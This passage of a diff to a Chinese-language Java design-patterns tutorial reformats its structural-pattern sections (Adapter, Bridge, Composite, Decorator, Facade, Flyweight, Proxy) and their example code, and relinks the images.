+        System.out.println("do something");
+    }
 }
 ```
 
 ```java
-public class NullOperation extends AbstractOperation{
-    @Override
-    void request() {
-        // do nothing
-    }
+public class NullOperation extends AbstractOperation{
+    @Override
+    void request() {
+        // do nothing
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        AbstractOperation abstractOperation = func(-1);
-        abstractOperation.request();
-    }
+public class Client {
+    public static void main(String[] args) {
+        AbstractOperation abstractOperation = func(-1);
+        abstractOperation.request();
+    }
 
-    public static AbstractOperation func(int para) {
-        if (para < 0) {
-            return new NullOperation();
-        }
-        return new RealOperation();
-    }
+    public static AbstractOperation func(int para) {
+        if (para < 0) {
+            return new NullOperation();
+        }
+        return new RealOperation();
+    }
 }
 ```
 
-# 四、结构型
+# 四、结构型
 
-## 1. 适配器（Adapter）
+## 1. 适配器（Adapter）
 
-### Intent
+### Intent
 
 把一个类接口转换成另一个用户需要的接口。
 
-<div align="center"> <img src="pics/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png"/> </div><br>
+![](index_files/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png)
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/0889c0b4-07b4-45fc-873c-e0e16b97f67d.png"/> </div><br>
+![](index_files/0889c0b4-07b4-45fc-873c-e0e16b97f67d.png)
 
-### Implementation
+### Implementation
 
-鸭子（Duck）和火鸡（Turkey）拥有不同的叫声，Duck 的叫声调用 quack() 方法，而 Turkey 调用 gobble() 方法。
+鸭子（Duck）和火鸡（Turkey）拥有不同的叫声，Duck 的叫声调用 quack() 方法，而 Turkey 调用 gobble() 方法。
 
-要求将 Turkey 的 gobble() 方法适配成 Duck 的 quack() 方法，从而让火鸡冒充鸭子！
+要求将 Turkey 的 gobble() 方法适配成 Duck 的 quack() 方法，从而让火鸡冒充鸭子！
 
 ```java
-public interface Duck {
-    void quack();
+public interface Duck {
+    void quack();
 }
 ```
 
 ```java
-public interface Turkey {
-    void gobble();
+public interface Turkey {
+    void gobble();
 }
 ```
 
 ```java
-public class WildTurkey implements Turkey {
-    @Override
-    public void gobble() {
-        System.out.println("gobble!");
-    }
+public class WildTurkey implements Turkey {
+    @Override
+    public void gobble() {
+        System.out.println("gobble!");
+    }
 }
 ```
 
 ```java
-public class TurkeyAdapter implements Duck {
-    Turkey turkey;
+public class TurkeyAdapter implements Duck {
+    Turkey turkey;
 
-    public TurkeyAdapter(Turkey turkey) {
-        this.turkey = turkey;
-    }
+    public TurkeyAdapter(Turkey turkey) {
+        this.turkey = turkey;
+    }
 
-    @Override
-    public void quack() {
-        turkey.gobble();
-    }
+    @Override
+    public void quack() {
+        turkey.gobble();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Turkey turkey = new WildTurkey();
-        Duck duck = new TurkeyAdapter(turkey);
-        duck.quack();
-    }
+public class Client {
+    public static void main(String[] args) {
+        Turkey turkey = new WildTurkey();
+        Duck duck = new TurkeyAdapter(turkey);
+        duck.quack();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- [java.util.Arrays#asList()](http://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#asList%28T...%29)
-- [java.util.Collections#list()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#list-java.util.Enumeration-)
-- [java.util.Collections#enumeration()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#enumeration-java.util.Collection-)
-- [javax.xml.bind.annotation.adapters.XMLAdapter](http://docs.oracle.com/javase/8/docs/api/javax/xml/bind/annotation/adapters/XmlAdapter.html#marshal-BoundType-)
+- [java.util.Arrays#asList()](http://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#asList%28T...%29)
+- [java.util.Collections#list()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#list-java.util.Enumeration-)
+- [java.util.Collections#enumeration()](https://docs.oracle.com/javase/8/docs/api/java/util/Collections.html#enumeration-java.util.Collection-)
+- [javax.xml.bind.annotation.adapters.XMLAdapter](http://docs.oracle.com/javase/8/docs/api/javax/xml/bind/annotation/adapters/XmlAdapter.html#marshal-BoundType-)
 
-## 2. 桥接（Bridge）
+## 2. 桥接（Bridge）
 
-### Intent
+### Intent
 
 将抽象与实现分离开来，使它们可以独立变化。
 
-### Class Diagram
+### Class Diagram
 
-- Abstraction：定义抽象类的接口
-- Implementor：定义实现类接口
+- Abstraction：定义抽象类的接口
+- Implementor：定义实现类接口
 
-<div align="center"> <img src="pics/c2cbf5d2-82af-4c78-bd43-495da5adf55f.png"/> </div><br>
+![](index_files/c2cbf5d2-82af-4c78-bd43-495da5adf55f.png)
 
-### Implementation
+### Implementation
 
-RemoteControl 表示遥控器，指代 Abstraction。
+RemoteControl 表示遥控器，指代 Abstraction。
 
-TV 表示电视，指代 Implementor。
+TV 表示电视，指代 Implementor。
 
 桥接模式将遥控器和电视分离开来，从而可以独立改变遥控器或者电视的实现。
 
 ```java
-public abstract class TV {
-    public abstract void on();
+public abstract class TV {
+    public abstract void on();
 
-    public abstract void off();
+    public abstract void off();
 
-    public abstract void tuneChannel();
+    public abstract void tuneChannel();
 }
 ```
 
 ```java
-public class Sony extends TV {
-    @Override
-    public void on() {
-        System.out.println("Sony.on()");
-    }
+public class Sony extends TV {
+    @Override
+    public void on() {
+        System.out.println("Sony.on()");
+    }
 
-    @Override
-    public void off() {
-        System.out.println("Sony.off()");
-    }
+    @Override
+    public void off() {
+        System.out.println("Sony.off()");
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("Sony.tuneChannel()");
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("Sony.tuneChannel()");
+    }
 }
 ```
 
 ```java
-public class RCA extends TV {
-    @Override
-    public void on() {
-        System.out.println("RCA.on()");
-    }
+public class RCA extends TV {
+    @Override
+    public void on() {
+        System.out.println("RCA.on()");
+    }
 
-    @Override
-    public void off() {
-        System.out.println("RCA.off()");
-    }
+    @Override
+    public void off() {
+        System.out.println("RCA.off()");
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("RCA.tuneChannel()");
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("RCA.tuneChannel()");
+    }
 }
 ```
 
 ```java
-public abstract class RemoteControl {
-    protected TV tv;
+public abstract class RemoteControl {
+    protected TV tv;
 
-    public RemoteControl(TV tv) {
-        this.tv = tv;
-    }
+    public RemoteControl(TV tv) {
+        this.tv = tv;
+    }
 
-    public abstract void on();
+    public abstract void on();
 
-    public abstract void off();
+    public abstract void off();
 
-    public abstract void tuneChannel();
+    public abstract void tuneChannel();
 }
 ```
 
 ```java
-public class ConcreteRemoteControl1 extends RemoteControl {
-    public ConcreteRemoteControl1(TV tv) {
-        super(tv);
-    }
+public class ConcreteRemoteControl1 extends RemoteControl {
+    public ConcreteRemoteControl1(TV tv) {
+        super(tv);
+    }
 
-    @Override
-    public void on() {
-        System.out.println("ConcreteRemoteControl1.on()");
-        tv.on();
-    }
+    @Override
+    public void on() {
+        System.out.println("ConcreteRemoteControl1.on()");
+        tv.on();
+    }
 
-    @Override
-    public void off() {
-        System.out.println("ConcreteRemoteControl1.off()");
-        tv.off();
-    }
+    @Override
+    public void off() {
+        System.out.println("ConcreteRemoteControl1.off()");
+        tv.off();
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("ConcreteRemoteControl1.tuneChannel()");
-        tv.tuneChannel();
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("ConcreteRemoteControl1.tuneChannel()");
+        tv.tuneChannel();
+    }
 }
 ```
 
 ```java
-public class ConcreteRemoteControl2 extends RemoteControl {
-    public ConcreteRemoteControl2(TV tv) {
-        super(tv);
-    }
+public class ConcreteRemoteControl2 extends RemoteControl {
+    public ConcreteRemoteControl2(TV tv) {
+        super(tv);
+    }
 
-    @Override
-    public void on() {
-        System.out.println("ConcreteRemoteControl2.on()");
-        tv.on();
-    }
+    @Override
+    public void on() {
+        System.out.println("ConcreteRemoteControl2.on()");
+        tv.on();
+    }
 
-    @Override
-    public void off() {
-        System.out.println("ConcreteRemoteControl2.off()");
-        tv.off();
-    }
+    @Override
+    public void off() {
+        System.out.println("ConcreteRemoteControl2.off()");
+        tv.off();
+    }
 
-    @Override
-    public void tuneChannel() {
-        System.out.println("ConcreteRemoteControl2.tuneChannel()");
-        tv.tuneChannel();
-    }
+    @Override
+    public void tuneChannel() {
+        System.out.println("ConcreteRemoteControl2.tuneChannel()");
+        tv.tuneChannel();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        RemoteControl remoteControl1 = new ConcreteRemoteControl1(new RCA());
-        remoteControl1.on();
-        remoteControl1.off();
-        remoteControl1.tuneChannel();
-        RemoteControl remoteControl2 = new ConcreteRemoteControl2(new Sony());
-         remoteControl2.on();
-         remoteControl2.off();
-         remoteControl2.tuneChannel();
-    }
+public class Client {
+    public static void main(String[] args) {
+        RemoteControl remoteControl1 = new ConcreteRemoteControl1(new RCA());
+        remoteControl1.on();
+        remoteControl1.off();
+        remoteControl1.tuneChannel();
+        RemoteControl remoteControl2 = new ConcreteRemoteControl2(new Sony());
+         remoteControl2.on();
+         remoteControl2.off();
+         remoteControl2.tuneChannel();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- AWT (It provides an abstraction layer which maps onto the native OS the windowing support.)
-- JDBC
+- AWT (It provides an abstraction layer which maps onto the native OS the windowing support.)
+- JDBC
 
-## 3. 组合（Composite）
+## 3. 组合（Composite）
 
-### Intent
+### Intent
 
 将对象组合成树形结构来表示“整体/部分”层次关系，允许用户以相同的方式处理单独对象和组合对象。
 
-### Class Diagram
+### Class Diagram
 
 组件（Component）类是组合类（Composite）和叶子类（Leaf）的父类，可以把组合类看成是树的中间节点。
 
 组合对象拥有一个或者多个组件对象，因此组合对象的操作可以委托给组件对象去处理，而组件对象可以是另一个组合对象或者叶子对象。
 
-<div align="center"> <img src="pics/77931a4b-72ba-4016-827d-84b9a6845a51.png"/> </div><br>
+![](index_files/77931a4b-72ba-4016-827d-84b9a6845a51.png)
 
-### Implementation
+### Implementation
 
 ```java
-public abstract class Component {
-    protected String name;
+public abstract class Component {
+    protected String name;
 
-    public Component(String name) {
-        this.name = name;
-    }
+    public Component(String name) {
+        this.name = name;
+    }
 
-    public void print() {
-        print(0);
-    }
+    public void print() {
+        print(0);
+    }
 
-    abstract void print(int level);
+    abstract void print(int level);
 
-    abstract public void add(Component component);
+    abstract public void add(Component component);
 
-    abstract public void remove(Component component);
+    abstract public void remove(Component component);
 }
 ```
 
 ```java
-public class Composite extends Component {
+public class Composite extends Component {
 
-    private List<Component> child;
+    private List<Component> child;
 
-    public Composite(String name) {
-        super(name);
-        child = new ArrayList<>();
-    }
+    public Composite(String name) {
+        super(name);
+        child = new ArrayList<>();
+    }
 
-    @Override
-    void print(int level) {
-        for (int i = 0; i < level; i++) {
-            System.out.print("--");
-        }
-        System.out.println("Composite:" + name);
-        for (Component component : child) {
-            component.print(level + 1);
-        }
-    }
+    @Override
+    void print(int level) {
+        for (int i = 0; i < level; i++) {
+            System.out.print("--");
+        }
+        System.out.println("Composite:" + name);
+        for (Component component : child) {
+            component.print(level + 1);
+        }
+    }
 
-    @Override
-    public void add(Component component) {
-        child.add(component);
-    }
+    @Override
+    public void add(Component component) {
+        child.add(component);
+    }
 
-    @Override
-    public void remove(Component component) {
-        child.remove(component);
-    }
+    @Override
+    public void remove(Component component) {
+        child.remove(component);
+    }
 }
 ```
 
 ```java
-public class Leaf extends Component {
-    public Leaf(String name) {
-        super(name);
-    }
+public class Leaf extends Component {
+    public Leaf(String name) {
+        super(name);
+    }
 
-    @Override
-    void print(int level) {
-        for (int i = 0; i < level; i++) {
-            System.out.print("--");
-        }
-        System.out.println("left:" + name);
-    }
+    @Override
+    void print(int level) {
+        for (int i = 0; i < level; i++) {
+            System.out.print("--");
+        }
+        System.out.println("left:" + name);
+    }
 
-    @Override
-    public void add(Component component) {
-        throw new UnsupportedOperationException(); // 牺牲透明性换取单一职责原则，这样就不用考虑是叶子节点还是组合节点
-    }
+    @Override
+    public void add(Component component) {
+        throw new UnsupportedOperationException(); // 牺牲透明性换取单一职责原则，这样就不用考虑是叶子节点还是组合节点
+    }
 
-    @Override
-    public void remove(Component component) {
-        throw new UnsupportedOperationException();
-    }
+    @Override
+    public void remove(Component component) {
+        throw new UnsupportedOperationException();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Composite root = new Composite("root");
-        Component node1 = new Leaf("1");
-        Component node2 = new Composite("2");
-        Component node3 = new Leaf("3");
-        root.add(node1);
-        root.add(node2);
-        root.add(node3);
-        Component node21 = new Leaf("21");
-        Component node22 = new Composite("22");
-        node2.add(node21);
-        node2.add(node22);
-        Component node221 = new Leaf("221");
-        node22.add(node221);
-        root.print();
-    }
+public class Client {
+    public static void main(String[] args) {
+        Composite root = new Composite("root");
+        Component node1 = new Leaf("1");
+        Component node2 = new Composite("2");
+        Component node3 = new Leaf("3");
+        root.add(node1);
+        root.add(node2);
+        root.add(node3);
+        Component node21 = new Leaf("21");
+        Component node22 = new Composite("22");
+        node2.add(node21);
+        node2.add(node22);
+        Component node221 = new Leaf("221");
+        node22.add(node221);
+        root.print();
+    }
 }
 ```
 
@@ -2697,101 +2662,101 @@ Composite:root
 --left:3
 ```
 
-### JDK
+### JDK
 
-- javax.swing.JComponent#add(Component)
-- java.awt.Container#add(Component)
-- java.util.Map#putAll(Map)
-- java.util.List#addAll(Collection)
-- java.util.Set#addAll(Collection)
+- javax.swing.JComponent#add(Component)
+- java.awt.Container#add(Component)
+- java.util.Map#putAll(Map)
+- java.util.List#addAll(Collection)
+- java.util.Set#addAll(Collection)
 
-## 4. 装饰（Decorator）
+## 4. 装饰（Decorator）
 
-### Intent
+### Intent
 
 为对象动态添加功能。
 
-### Class Diagram
+### Class Diagram
 
 装饰者（Decorator）和具体组件（ConcreteComponent）都继承自组件（Component），具体组件的方法实现不需要依赖于其它对象，而装饰者组合了一个组件，这样它可以装饰其它装饰者或者具体组件。所谓装饰，就是把这个装饰者套在被装饰者之上，从而动态扩展被装饰者的功能。装饰者的方法有一部分是自己的，这属于它的功能，然后调用被装饰者的方法实现，从而也保留了被装饰者的功能。可以看到，具体组件应当是装饰层次的最低层，因为只有具体组件的方法实现不需要依赖于其它对象。
 
-<div align="center"> <img src="pics/137c593d-0a9e-47b8-a9e6-b71f540b82dd.png"/> </div><br>
+![](index_files/137c593d-0a9e-47b8-a9e6-b71f540b82dd.png)
 
-### Implementation
+### Implementation
 
 设计不同种类的饮料，饮料可以添加配料，比如可以添加牛奶，并且支持动态添加新配料。每增加一种配料，该饮料的价格就会增加，要求计算一种饮料的价格。
 
-下图表示在 DarkRoast 饮料上新增新添加 Mocha 配料，之后又添加了 Whip 配料。DarkRoast 被 Mocha 包裹，Mocha 又被 Whip 包裹。它们都继承自相同父类，都有 cost() 方法，外层类的 cost() 方法调用了内层类的 cost() 方法。
+下图表示在 DarkRoast 饮料上新增新添加 Mocha 配料，之后又添加了 Whip 配料。DarkRoast 被 Mocha 包裹，Mocha 又被 Whip 包裹。它们都继承自相同父类，都有 cost() 方法，外层类的 cost() 方法调用了内层类的 cost() 方法。
 
-<div align="center"> <img src="pics/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg" width="600"/> </div><br>
+<img src="index_files/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg" width="600"/>
 
 ```java
-public interface Beverage {
-    double cost();
+public interface Beverage {
+    double cost();
 }
 ```
 
 ```java
-public class DarkRoast implements Beverage {
-    @Override
-    public double cost() {
-        return 1;
-    }
+public class DarkRoast implements Beverage {
+    @Override
+    public double cost() {
+        return 1;
+    }
 }
 ```
 
 ```java
-public class HouseBlend implements Beverage {
-    @Override
-    public double cost() {
-        return 1;
-    }
+public class HouseBlend implements Beverage {
+    @Override
+    public double cost() {
+        return 1;
+    }
 }
 ```
 
 ```java
-public abstract class CondimentDecorator implements Beverage {
-    protected Beverage beverage;
+public abstract class CondimentDecorator implements Beverage {
+    protected Beverage beverage;
 }
 ```
 
 ```java
-public class Milk extends CondimentDecorator {
+public class Milk extends CondimentDecorator {
 
-    public Milk(Beverage beverage) {
-        this.beverage = beverage;
-    }
+    public Milk(Beverage beverage) {
+        this.beverage = beverage;
+    }
 
-    @Override
-    public double cost() {
-        return 1 + beverage.cost();
-    }
+    @Override
+    public double cost() {
+        return 1 + beverage.cost();
+    }
 }
 ```
 
 ```java
-public class Mocha extends CondimentDecorator {
+public class Mocha extends CondimentDecorator {
 
-    public Mocha(Beverage beverage) {
-        this.beverage = beverage;
-    }
+    public Mocha(Beverage beverage) {
+        this.beverage = beverage;
+    }
 
-    @Override
-    public double cost() {
-        return 1 + beverage.cost();
-    }
+    @Override
+    public double cost() {
+        return 1 + beverage.cost();
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        Beverage beverage = new HouseBlend();
-        beverage = new Mocha(beverage);
-        beverage = new Milk(beverage);
-        System.out.println(beverage.cost());
-    }
+    public static void main(String[] args) {
+        Beverage beverage = new HouseBlend();
+        beverage = new Mocha(beverage);
+        beverage = new Milk(beverage);
+        System.out.println(beverage.cost());
+    }
 }
 ```
 
@@ -2799,271 +2764,307 @@ public class Client {
 3.0
 ```
 
-### 设计原则
+### 设计原则
 
 类应该对扩展开放，对修改关闭：也就是添加新功能时不需要修改代码。饮料可以动态添加新的配料，而不需要去修改饮料的代码。
 
 不可能把所有的类设计成都满足这一原则，应当把该原则应用于最有可能发生改变的地方。
 
-### JDK
+### JDK
 
-- java.io.BufferedInputStream(InputStream)
-- java.io.DataInputStream(InputStream)
-- java.io.BufferedOutputStream(OutputStream)
-- java.util.zip.ZipOutputStream(OutputStream)
-- java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
+- java.io.BufferedInputStream(InputStream)
+- java.io.DataInputStream(InputStream)
+- java.io.BufferedOutputStream(OutputStream)
+- java.util.zip.ZipOutputStream(OutputStream)
+- java.util.Collections#checked[List|Map|Set|SortedSet|SortedMap]()
 
-## 5. 外观（Facade）
+## 5. 外观（Facade）
 
-### Intent
+### Intent
 
 提供了一个统一的接口，用来访问子系统中的一群接口，从而让子系统更容易使用。
 
-### Class Diagram
+### Class Diagram
 
-<div align="center"> <img src="pics/f9978fa6-9f49-4a0f-8540-02d269ac448f.png"/> </div><br>
+![](index_files/f9978fa6-9f49-4a0f-8540-02d269ac448f.png)
 
-### Implementation
+### Implementation
 
 观看电影需要操作很多电器，使用外观模式实现一键看电影功能。
 
 ```java
-public class SubSystem {
-    public void turnOnTV() {
-        System.out.println("turnOnTV()");
-    }
+public class SubSystem {
+    public void turnOnTV() {
+        System.out.println("turnOnTV()");
+    }
 
-    public void setCD(String cd) {
-        System.out.println("setCD( " + cd + " )");
-    }
+    public void setCD(String cd) {
+        System.out.println("setCD( " + cd + " )");
+    }
 
-    public void startWatching(){
-        System.out.println("startWatching()");
-    }
+    public void startWatching(){
+        System.out.println("startWatching()");
+    }
 }
 ```
 
 ```java
-public class Facade {
-    private SubSystem subSystem = new SubSystem();
+public class Facade {
+    private SubSystem subSystem = new SubSystem();
 
-    public void watchMovie() {
-        subSystem.turnOnTV();
-        subSystem.setCD("a movie");
-        subSystem.startWatching();
-    }
+    public void watchMovie() {
+        subSystem.turnOnTV();
+        subSystem.setCD("a movie");
+        subSystem.startWatching();
+    }
 }
 ```
 
 ```java
-public class Client {
-    public static void main(String[] args) {
-        Facade facade = new Facade();
-        facade.watchMovie();
-    }
+public class Client {
+    public static void main(String[] args) {
+        Facade facade = new Facade();
+        facade.watchMovie();
+    }
 }
 ```
 
-### 设计原则
+### 设计原则
 
 最少知识原则：只和你的密友谈话。也就是说客户对象所需要交互的对象应当尽可能少。
 
-## 6. 享元（Flyweight）
+## 6. 享元（Flyweight）
 
-### Intent
+### Intent
 
 利用共享的方式来支持大量细粒度的对象，这些对象一部分内部状态是相同的。
 
-### Class Diagram
+### Class Diagram
 
-- Flyweight：享元对象
-- IntrinsicState：内部状态，享元对象共享内部状态
-- ExtrinsicState：外部状态，每个享元对象的外部状态不同
+- Flyweight：享元对象
+- IntrinsicState：内部状态，享元对象共享内部状态
+- ExtrinsicState：外部状态，每个享元对象的外部状态不同
 
-<div align="center"> <img src="pics/d52270b4-9097-4667-9f18-f405fc661c99.png"/> </div><br>
+![](index_files/d52270b4-9097-4667-9f18-f405fc661c99.png)
 
-### Implementation
+### Implementation
 
 ```java
-public interface Flyweight {
-    void doOperation(String extrinsicState);
+public interface Flyweight {
+    void doOperation(String extrinsicState);
 }
 ```
 
 ```java
-public class ConcreteFlyweight implements Flyweight {
+public class ConcreteFlyweight implements Flyweight {
 
-    private String intrinsicState;
+    private String intrinsicState;
 
-    public ConcreteFlyweight(String intrinsicState) {
-        this.intrinsicState = intrinsicState;
-    }
+    public ConcreteFlyweight(String intrinsicState) {
+        this.intrinsicState = intrinsicState;
+    }
 
-    @Override
-    public void doOperation(String extrinsicState) {
-        System.out.println("Object address: " + System.identityHashCode(this));
-        System.out.println("IntrinsicState: " + intrinsicState);
-        System.out.println("ExtrinsicState: " + extrinsicState);
-    }
+    @Override
+    public void doOperation(String extrinsicState) {
+        System.out.println("Object address: " + System.identityHashCode(this));
+        System.out.println("IntrinsicState: " + intrinsicState);
+        System.out.println("ExtrinsicState: " + extrinsicState);
+    }
 }
 ```
 
 ```java
-public class FlyweightFactory {
+public class FlyweightFactory {
 
-    private HashMap<String, Flyweight> flyweights = new HashMap<>();
+    private HashMap<String, Flyweight> flyweights = new HashMap<>();
 
-    Flyweight getFlyweight(String intrinsicState) {
-        if (!flyweights.containsKey(intrinsicState)) {
-            Flyweight flyweight = new ConcreteFlyweight(intrinsicState);
-            flyweights.put(intrinsicState, flyweight);
-        }
-        return flyweights.get(intrinsicState);
-    }
+    Flyweight getFlyweight(String intrinsicState) {
+        if (!flyweights.containsKey(intrinsicState)) {
+            Flyweight flyweight = new ConcreteFlyweight(intrinsicState);
+            flyweights.put(intrinsicState, flyweight);
+        }
+        return flyweights.get(intrinsicState);
+    }
 }
 ```
 
 ```java
-public class Client {
+public class Client {
 
-    public static void main(String[] args) {
-        FlyweightFactory factory = new FlyweightFactory();
-        Flyweight flyweight1 = factory.getFlyweight("aa");
-        Flyweight flyweight2 = factory.getFlyweight("aa");
-        flyweight1.doOperation("x");
-        flyweight2.doOperation("y");
-    }
+    public static void main(String[] args) {
+        FlyweightFactory factory = new FlyweightFactory();
+        Flyweight flyweight1 = factory.getFlyweight("aa");
+        Flyweight flyweight2 = factory.getFlyweight("aa");
+        flyweight1.doOperation("x");
+        flyweight2.doOperation("y");
+    }
 }
 ```
 
 ```html
-Object address: 1163157884
-IntrinsicState: aa
-ExtrinsicState: x
-Object address: 1163157884
-IntrinsicState: aa
-ExtrinsicState: y
+Object address: 1163157884
+IntrinsicState: aa
+ExtrinsicState: x
+Object address: 1163157884
+IntrinsicState: aa
+ExtrinsicState: y
 ```
 
-### JDK
+### JDK
 
-Java 利用缓存来加速大量小对象的访问时间。
+Java 利用缓存来加速大量小对象的访问时间。
 
-- java.lang.Integer#valueOf(int)
-- java.lang.Boolean#valueOf(boolean)
-- java.lang.Byte#valueOf(byte)
-- java.lang.Character#valueOf(char)
+- java.lang.Integer#valueOf(int)
+- java.lang.Boolean#valueOf(boolean)
+- java.lang.Byte#valueOf(byte)
+- java.lang.Character#valueOf(char)
 
-## 7. 代理（Proxy）
+## 7. 代理（Proxy）
 
-### Intent
+### Intent
 
 控制对其它对象的访问。
 
-### Class Diagram
+### Class Diagram
 
 代理有以下四类：
 
-- 远程代理（Remote Proxy）：控制对远程对象（不同地址空间）的访问，它负责将请求及其参数进行编码，并向不同地址空间中的对象发送已经编码的请求。
-- 虚拟代理（Virtual Proxy）：根据需要创建开销很大的对象，它可以缓存实体的附加信息，以便延迟对它的访问，例如在网站加载一个很大图片时，不能马上完成，可以用虚拟代理缓存图片的大小信息，然后生成一张临时图片代替原始图片。
-- 保护代理（Protection Proxy）：按权限控制对象的访问，它负责检查调用者是否具有实现一个请求所必须的访问权限。
-- 智能代理（Smart Reference）：取代了简单的指针，它在访问对象时执行一些附加操作：记录对象的引用次数；当第一次引用一个对象时，将它装入内存；在访问一个实际对象前，检查是否已经锁定了它，以确保其它对象不能改变它。
+- 远程代理（Remote Proxy）：控制对远程对象（不同地址空间）的访问，它负责将请求及其参数进行编码，并向不同地址空间中的对象发送已经编码的请求。
+- 虚拟代理（Virtual Proxy）：根据需要创建开销很大的对象，它可以缓存实体的附加信息，以便延迟对它的访问，例如在网站加载一个很大图片时，不能马上完成，可以用虚拟代理缓存图片的大小信息，然后生成一张临时图片代替原始图片。
+- 保护代理（Protection Proxy）：按权限控制对象的访问，它负责检查调用者是否具有实现一个请求所必须的访问权限。
+- 智能代理（Smart Reference）：取代了简单的指针，它在访问对象时执行一些附加操作：记录对象的引用次数；当第一次引用一个对象时，将它装入内存；在访问一个实际对象前，检查是否已经锁定了它，以确保其它对象不能改变它。
 
-<div align="center"> <img src="pics/a6c20f60-5eba-427d-9413-352ada4b40fe.png"/> </div><br>
+![](index_files/a6c20f60-5eba-427d-9413-352ada4b40fe.png)
 
-### Implementation
+### Implementation
 
 以下是一个虚拟代理的实现，模拟了图片延迟加载的情况下使用与图片大小相等的临时内容去替换原始图片，直到图片加载完成才将图片显示出来。
 
 ```java
-public interface Image {
-    void showImage();
+public interface Image {
+    void showImage();
 }
 ```
 
 ```java
-public class HighResolutionImage implements Image {
+public class HighResolutionImage implements Image {
 
-    private URL imageURL;
-    private long startTime;
-    private int height;
-    private int width;
+    private URL imageURL;
+    private long startTime;
+    private int height;
+    private int width;
 
-    public int getHeight() {
-        return height;
-    }
+    public int getHeight() {
+        return height;
+    }
 
-    public int getWidth() {
-        return width;
-    }
+    public int getWidth() {
+        return width;
+    }
 
-    public HighResolutionImage(URL imageURL) {
-        this.imageURL = imageURL;
-        this.startTime = System.currentTimeMillis();
-        this.width = 600;
-        this.height = 600;
-    }
+    public HighResolutionImage(URL imageURL) {
+        this.imageURL = imageURL;
+        this.startTime = System.currentTimeMillis();
+        this.width = 600;
+        this.height = 600;
+    }
 
-    public boolean isLoad() {
-        // 模拟图片加载，延迟 3s 加载完成
-        long endTime = System.currentTimeMillis();
-        return endTime - startTime > 3000;
-    }
+    public boolean isLoad() {
+        // 模拟图片加载，延迟 3s 加载完成
+        long endTime = System.currentTimeMillis();
+        return endTime - startTime > 3000;
+    }
 
-    @Override
-    public void showImage() {
-        System.out.println("Real Image: " + imageURL);
-    }
+    @Override
+    public void showImage() {
+        System.out.println("Real Image: " + imageURL);
+    }
 }
 ```
 
 ```java
-public class ImageProxy implements Image {
+public class ImageProxy implements Image {
 
-    private HighResolutionImage highResolutionImage;
+    private HighResolutionImage highResolutionImage;
 
-    public ImageProxy(HighResolutionImage highResolutionImage) {
-        this.highResolutionImage = highResolutionImage;
-    }
+    public ImageProxy(HighResolutionImage highResolutionImage) {
+        this.highResolutionImage = highResolutionImage;
+    }
 
-    @Override
-    public void showImage() {
-        while (!highResolutionImage.isLoad()) {
-            try {
-                System.out.println("Temp Image: " + highResolutionImage.getWidth() + " " + highResolutionImage.getHeight());
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        highResolutionImage.showImage();
-    }
+    @Override
+    public void showImage() {
+        while (!highResolutionImage.isLoad()) {
+            try {
+                System.out.println("Temp Image: " + highResolutionImage.getWidth() + " " + highResolutionImage.getHeight());
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+        highResolutionImage.showImage();
+    }
 }
 ```
 
 ```java
-public class ImageViewer {
+public class ImageViewer {
 
-    public static void main(String[] args) throws Exception {
-        String image = "http://image.jpg";
-        URL url = new URL(image);
-        HighResolutionImage highResolutionImage = new HighResolutionImage(url);
-        ImageProxy imageProxy = new ImageProxy(highResolutionImage);
-        imageProxy.showImage();
-    }
+    public static void main(String[] args) throws Exception {
+        String image = "http://image.jpg";
+        URL url = new URL(image);
+        HighResolutionImage highResolutionImage = new HighResolutionImage(url);
+        ImageProxy imageProxy = new ImageProxy(highResolutionImage);
+        imageProxy.showImage();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- java.lang.reflect.Proxy
-- RMI
+- java.lang.reflect.Proxy
+- RMI
 
-# 参考资料
+# 参考资料
 
-- 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007.
-- Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007.
-- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
-- [Design Patterns](http://www.oodesign.com/)
-- [Design patterns implemented in Java](http://java-design-patterns.com/)
-- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
+- 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007.
+- Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007.
+- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
+- [Design Patterns](http://www.oodesign.com/)
+- [Design patterns implemented in Java](http://java-design-patterns.com/)
+- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
+---bottom---CyC---
+![](index_files/562f2844-d77c-40e0-887a-28a7128abd42.png)
+![](index_files/c79da808-0f28-4a36-bc04-33ccc5b83c13.png)
+![](index_files/1818e141-8700-4026-99f7-900a545875f5.png)
+![](index_files/8668a3e1-c9c7-4fcb-98b2-a96a5d841579.png)
+![](index_files/13b0940e-d1d7-4b17-af4f-b70cb0a75e08.png)
